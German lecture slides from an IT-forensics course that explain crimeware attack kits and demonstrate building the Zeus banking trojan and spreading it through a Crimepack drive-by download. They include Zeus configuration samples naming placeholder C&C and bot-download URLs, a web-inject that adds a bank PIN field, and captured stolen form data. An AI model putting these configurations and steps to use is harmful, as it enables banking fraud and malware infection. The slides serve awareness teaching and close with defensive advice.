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Motivation 

 Massenangriffe gewinnen mehr an Bedeutung 

 Über ⅔ infizierter Seiten auf Attack Kits zurückführbar 

 

 Hacking-Tools aus dem Baukasten ermöglichen: 

 Benutzerfreundlichkeit 

 Einsatz für Jedermann 

 

 Leicht zugänglich 

 Auch kostenlos… 

 

 Hohes Aufkommen 
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Ziele 

 Aufklärung 

 Was verbirgt sich hinter den meisten Angriffen? 

 Keine genialen Hacker am Werk 

 

 Demonstration eines praktischen Szenarios 

 Die Natur der Attack Kits 

 Einfachheit ihres Einsatzes 

 Einordnung der Zielgruppe 

 … 
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Zielgruppe 
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Ziele 

 Aufklärung 

 Was verbirgt sich hinter den meisten Angriffen? 

 Keine genialen Hacker am Werk 

 

 Demonstration eines praktischen Szenarios 

 Die Natur der Attack Kits 

 Einfachheit ihres Einsatzes 

 Einordnung der Zielgruppe 
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Abgrenzung 

 Keine gezielten Angriffe 

 Gegen einzelne Ziele, wie Webserver 

 Zur Vertretung von politischen Standpunkten 

 Jedoch Spear-Fishing sehr wohl 

 

 Keine aktiven Angriffe 

 Mit Initiierung einer Attacke gegen passives Ziel 

 

 Keine Evaluierung der gestohlenen Daten 

 Weitere Schritte zur persönlichen Bereicherung 

 Money-Mules 
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Attack Kits - Definition 

 Ansammlung von Modulen zur 

 Komposition von individueller Schadsoftware, 

 Administration von Botnetzen mit C&C-Server, 

 Automatisierten Exploitation 

Exploit Kits 

 

 Meist geschrieben in PHP, JavaScript und C++ 

 PHP  

 Zur Installation und Verwaltung des C&C-Servers 

 Zur Weiterverarbeitung von Anfragen – „landing page“ 

 Ansteuerung der Datenbank 

 JavaScript  
 Weiterleitung auf schädliche Seiten 

 Exploitation 

 C++ zur Erzeugung von Schadcode 
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Attack Kits - Vorgehensweise 

C&C Server 

Exploit-Server 

Trojaner 
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Attack Kits - Vorgehensweise 

Ahnungsloser 

Benutzer 

Exploit-Server 

Infizierter  

legitimer Server 



© FH AACHEN UNIVERSITY OF APPLIED SCIENCES                                                    IT-Forensik an der FH Aachen – M.Eng. Eugen Pek |  11 

Attack Kits - Vorgehensweise 

Exploit-Server 

Ahnungsloser 

Benutzer 

C&C Server 

Trojaner 
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Attack Kits - Vorgehensweise 
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Der (Underground-)Markt 

 Orientiert an Prozessen aus der legitimen 
Marktwirtschaft 

 Werbung und Vertrieb über Underground-Foren 
und IRC 

 Konkurrenzkampf 

 Preise 

 Erfolgsraten 

 Funktionsportfolio 

 Support / Updates 

 Softwarepiraterie 

 Fehlender Support 

 Risiko: Hintertüren 
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Attack Kits – die Trends 

 Ausgeklügelte Verschleierungstechniken 

 Immer neuere Exploits 

 Einfachere Handhabung (durch SaaS) 

 

 Entlastung der C&C-Server 

 P2P 

 Social Networks 

 Andere Plattformen werden anvisiert 

 Insbesondere Mac OS X 

 Mobile Systeme 
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Erzeugung des Zeus-Trojaners 
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Erzeugung des Zeus-Trojaners 

 Builder starten: output\builder\zsb.exe 

 

 

 

 

 

 
 

 EDIT klicken, um statische und dynamische 
Konfiguration anzupassen 
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Erzeugung des Zeus-Trojaners 

 Statische Konfiguration wird hartcodiert in den 
Trojaner geschrieben: 

entry „StaticConfig“ 
  timer_config  1 1 
  timer_logs  1 1 
  timer_stats  1 1 
  url_config „http://<serverA>/config.bin“ 
  encryption_key „mykey“ 
... 
end 

 Weitere Konfiguration möglich wie: 
 Name des Botnetzes 

 URL zur tatsächlichen IP des Opfers 

 Sprachen auf schwarzer Liste 
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Erzeugung des Zeus-Trojaners 

 Dynamische Konfiguration wird in eine 
verschlüsselte Datei geschrieben: 

entry „DynamicConfig" 
  url_loader „http://<serverB>/bot.exe“ 
  url_server „http://<serverC>/gate.php“ 
  file_webinjects „webinjects.txt“ 
  ... 
end  

 Weitere Konfiguration möglich wie: 
 Nicht zu protokollierende URLs 

 URLs für Screenshots 

 Redirection von Post/GET Requests 
 TAN Grabber 
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Erzeugung des Zeus-Trojaners 

 Inhalt einer webinjects.txt als Teil der 

dynamischen Konfiguration: 
 

set_url https://<Bank-Server>/* GP  
data_before 
name=„nachname“*</tr>  
data_end 
data_inject  
<tr> 
<td align="right">PIN der EC-Karte:</td> 
<td><input name=“pinnummer” type="password”></td>  
</tr> 
data_end 
data_after 
data_end 
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Erzeugung des Zeus-Trojaners 

 Inhalt einer webinjects.txt als Teil der 

dynamischen Konfiguration: 
 

set_url https://<Bank-Server>/* GP  
data_before 
name=„nachname“*</tr>  
data_end 
data_inject  
<tr> 
<td align="right">PIN der EC-Karte:</td> 
<td><input name="pinnummer" type="password”></td>  
</tr> 
data_end 
data_after 
data_end 
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Erzeugung des Zeus-Trojaners 

 „Build the bot configuration“ 

 „Build the bot executable“ 

 

 

 

 

 

 

 Dynamische Konfiguration auf <serverA> 
kopieren 
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Attack Kits – Installation 
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Attack Kit – Installation 

 Installation  

 des Crimepack-Servers 

 des Zeus-C&C-Servers 
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Drive-by-Download mit Crimepack 

 Nach der Installation des Crimepack-Servers: 

 Laden einer Portable Executable (hier Zeus-Trojaner) 

 

 

 

 

 

 

 

 Anschließend Login auf dem Crimepack-Server 
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Drive-by-Download mit Crimepack 

 Crimepack-Server = „landing page“ 

 

 

 

 

 

 Beim Aufruf beliebiger Seite* mit 
dem Iframe: 

1. Redirect auf landing page 

 

1 
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Drive-by-Download mit Crimepack 
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Drive-by-Download mit Crimepack 

 Installationsserver = „landing page“ 

 

 

 

 

 

 Beim Aufruf beliebiger Seite mit 
dem Iframe: 

1. Redirect auf landing page 

2. Evaluierung und Durchprobieren aller 
Exploits, 

3. um Zeus-Trojaner auszuführen 

1 

2 
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Drive-by-Download mit Crimepack 
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Drive-by-Download mit Crimepack 

 Wenn erfolgreich, dann gibt es folgende 
Übersicht: 

 

 

 

 

 

 

 

 iepeers-Exploit (CVE-2010-0806 ) funktioniert 
z.B. auf ungepatchtem WinXP SP3! 
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Was ist da genau passiert? 

1. Mit dem iepeers-Exploit wurde Ausführung 
beliebigen Codes ermöglicht. 

2. Die Installationsroutine des Zeus-Trojaners hat 
folgendes veranlasst: 

a. Kopie in AppData* 

b. Eintrag des Pfades zum Trojaner in der Registry 

c. Einnistung in Prozessen 

3. Download der dynamischen Konfiguration 

4. Verschlüsselung mit neuem RC4-Key: 

a. Konfiguration 

b. Gestohlene Daten 
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Command-and-Control 
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Command-and-Control 

 Standardmäßig protokolliert der Form Grabber 
Eingaben mit 

 Zusätzlich wurde webinjects.txt konfiguriert: 

 

 

 

 

 HTTP Post-Request wird abgefangen 

 Bevor Verschlüsselungsroutinen greifen 

 Durch Überwachung der HttpSendRequest() 

User input: EugenPek4242123456 
POST data: 
vorname=Eugen 
zuname=Pek 
pinnummer=4242 
nummer=123456 
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Command-and-Control 

 Beispiel eines 
HTTPS Requests: 

 Systeminformationen 

 Keylogger  

 Form Grabber 
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Sicherheitsmaßnahmen 

 Augen auf! 

 Infizierung ist ein aktiver Akt auf der Benutzerseite 

 Updates 

 Windows 

 Browser 

 Browser-Plugins 

 Eingeschränkte Benutzerrechte 

 Aktuelle Antivirensoftware 

 Gegen direkte Angriffe: 

 Endpoint Data Protection, IDS 

 Feingefühl bei öffentlichen Auftritten 
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Fazit 

 Hacking-Angriffe (hier): 

 Kauf / Download von Attack Kits 

 Kompromiss zwischen: 

 Inanspruchnahme von Diensten 

 Nutzung der auf Endnutzer abgestimmten Softwarekomponenten 

 Voraussetzungen für Massenangriffe 

 Gesunder Menschenverstand 

 Allgemeine Computerkenntnisse 

 Rudimentäre Kenntnisse in:  

 Bereitstellung von Webinhalten 

 Webentwicklung 

 Kriminalitätsbereitschaft 

 Bei Inanspruchnahme von Diensten entfallen 
spezifische Computerkenntnisse 
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